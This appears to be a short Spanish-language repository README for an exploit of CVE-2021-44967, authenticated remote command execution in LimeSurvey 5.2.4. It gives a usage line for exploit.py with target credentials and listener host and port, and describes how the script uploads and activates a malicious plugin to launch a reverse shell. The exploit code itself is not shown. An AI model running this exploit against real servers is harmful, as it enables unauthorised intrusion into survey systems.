monke443/cve-2021-44967Ejecución remota de comandos autenticada (privilegiada) en LimeSurvey Versión 5.2.4 a través de la carga e instalación de plugins permite a un usuario remoto cargar un archivo de código PHP arbitrario.
La ejecución remota de comandos autenticada (privilegiada) en LimeSurvey Versión 5.2.4 mediante la carga e instalación de complementos permite a un usuario remoto cargar un archivo de código PHP arbitrario.
python3 exploit.py --url <http://example.com> --user <userName> --password <userPassword> --lhost <localHost> --lport <localPort>
Un usuario superadmin puede cargar módulos de complementos a través del panel de administración de LimeSurvey. El script crea localmente los archivos, los comprime y los sube. Posteriormente, se realiza una llamada para instalar, activar y ejecutar los módulos, ejecutando la shell inversa.
